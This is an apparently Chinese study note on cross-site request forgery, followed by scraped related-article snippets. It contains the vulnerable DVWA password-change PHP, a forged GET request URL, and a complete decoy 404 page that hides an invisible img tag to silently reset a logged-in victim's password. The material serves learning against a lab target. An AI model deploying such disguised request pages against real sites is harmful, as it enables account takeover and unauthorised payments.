CSRF 学习笔记
1:什么是CSRF:
假设有一个支付网站:www.xx.com
向小明同学付款1000元数据包:
www.xx.com/pay.php?name=xiaoming&account=xxxx@qq.com&money=1000
攻击者在自己博客首页源码中添加js代码:
<script src=”http://www.xx.com/pay.php?name=&account=xxxx@qq.com&money=1000”></script>
受害者访问我的个人博客,加载js代码,js代码将会执行(自动加载地址)
浏览器已经登录支付网站(或者获取到了被攻击者的Cookies)的话,就会导致付款
基于DVWA-Low模型攻击如下: 可以看到在PHP中他接受了password_new和password_conf后即将密码转化为MD5值后对数据库进行了修改,没有做任何CSRF防护措施,因此我们
可在
http://192.168.221.10:800/DVWA/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
实际数据库中执行:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
如果将这个命令嵌入至Html当中,则更加隐蔽,因为直接输入会显示Password Changed字样,比如在这个很美观的404页面之下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>404页面</title>
<meta name="renderer" content="webkit" />
<meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no" />
<link rel="stylesheet" type="text/css" href="style.css">
<link rel="shortcut icon" href="http://uqseo.com/favicon.ico">
</head>
<body>
<div class="container">
<img src="http://192.168.221.10/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<img class="bg" src="404.png"/>
<div class="btn">
<a href="/" class="goindex">返回首页</a>
<a href="http://wpa.qq.com/msgrd?v=3&uin=68179285&site=qq&menu=yes" target="_blank" class="lx">咨询站长</a>
<div style="clear:both;"></div>
</div>
</div>
</body>
</html>

CSRF 学习笔记的更多相关文章
- 初探csrf学习笔记
以下是学习了对CSRF的理解,大家切勿作为标准,如有出错请告之! 严禁转载.不想拿自己刚学到的知识去[误人子弟]之所以写出来是让自己巩固和增加理解,他日对此文有不当之处自会修改. [00x1]csrf ...
- csrf学习笔记
CSRF全称Cross Site Request Forgery,即跨站点请求伪造.我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的. CSRF攻击能够达到的目的是使受害者发 ...
- CSRF学习笔记之CSRF的防御【00x4】
referer 验证 根据HTTP协议,在http请求头中包含一个referer的字段,这个字段记录了该http请求的原地址.通常情况下,执行转账操作的post请求www.bank.com/trans ...
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x3】
Hight.php完整代码如下: <?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_curr = ...
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
+++++++++++++++++++++++++++ + 00x1 实现简单的攻击 + 00x2 代码审计漏洞的源头 +++++++++++++++++++++++++++ 00x1 简单的csrf ...
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x2 】
Medium完整代码: <?php if (isset($_GET['Change'])) { // Checks the http referer header if ( eregi ( &q ...
- Web 学习笔记 - 网络安全
前言 作为 前端开发者,了解一点 Web 安全方面的基本知识是有很必要的,未必就要深入理解.本文主要介绍常见的网络攻击类型,不作深入探讨. 正文 网络攻击的形式种类繁多,从简单的网站敏感文件扫描.弱口 ...
- SpringBoot + Spring Security 学习笔记(五)实现短信验证码+登录功能
在 Spring Security 中基于表单的认证模式,默认就是密码帐号登录认证,那么对于短信验证码+登录的方式,Spring Security 没有现成的接口可以使用,所以需要自己的封装一个类似的 ...
- SpringBoot + Spring Security 学习笔记(三)实现图片验证码认证
整体实现逻辑 前端在登录页面时,自动从后台获取最新的验证码图片 服务器接收获取生成验证码请求,生成验证码和对应的图片,图片响应回前端,验证码保存一份到服务器的 session 中 前端用户登录时携带当 ...
随机推荐
- Shader-内轮廓自发光效果
需求 1 基于涅菲尔反射的变形 原理 (近处的反射少,远处反射多) 1)公式(近似):F = Fscale + (1-Fscale)(1-v·n)^5 利用fresnel做边缘发光,代码 fixed ...
- system.out.println从什么方向执行
从左向右执行,当“+”号前后有字符串出现时,就当做字符串连接符号处理了.
- OSCP Learning Notes - Exploit(6)
Antivirus Bypassing Tools: Kali Linux Detection Platform: https://www.virustotal.com/gui/home/upload ...
- HTML骨架
本文只是复习HTML笔记 html 骨架: DTD:文档类型定义,规定了使用哪个版本的html规范 html 标签:双标签,表示整个网页 head 标签: 配置HTML页面 title: 网页标题 m ...
- Java SE基础知识
Java SE面试题 目录 Java SE基础 基本语法 数据类型 关键字 面向对象 集合 集合类概述 Collection接口 List Set Map Java SE基础 基本语法 数据类型 Ja ...
- DOM练习 选择框、表格添加、变色
多个选择框,三个按钮,显示:全选.反选.不选 html部分,建立五个多选框,三个按钮 <input type="checkbox"> <input type=&q ...
- js:事件(注册、解绑、DOM事件流、事件对象、事件委托)
1.注册事件 (1)传统方式注册事件 <body> <button id="b1">请点击</button> <script> va ...
- 17条嵌入式C语言编程小知识总结
流水线被指令填满时才能发挥最大效能,即每时钟周期完成一条指令的执行(仅指单周期指令). 如果程序发生跳转,流水线会被清空,这将需要几个时钟才能使流水线再次填满.因此,尽量少的使用跳转指令可以提高程序执 ...
- PHP array_pop() 函数
实例 删除数组中的最后一个元素: <?php$a=array("red","green","blue");array_pop($a); ...
- PHP rewind() 函数
定义和用法 rewind() 函数将文件指针的位置倒回文件的开头. 如果成功,该函数返回 TRUE.如果失败,则返回 FALSE. 语法 rewind(file) 参数 描述 file 必需.规定已打 ...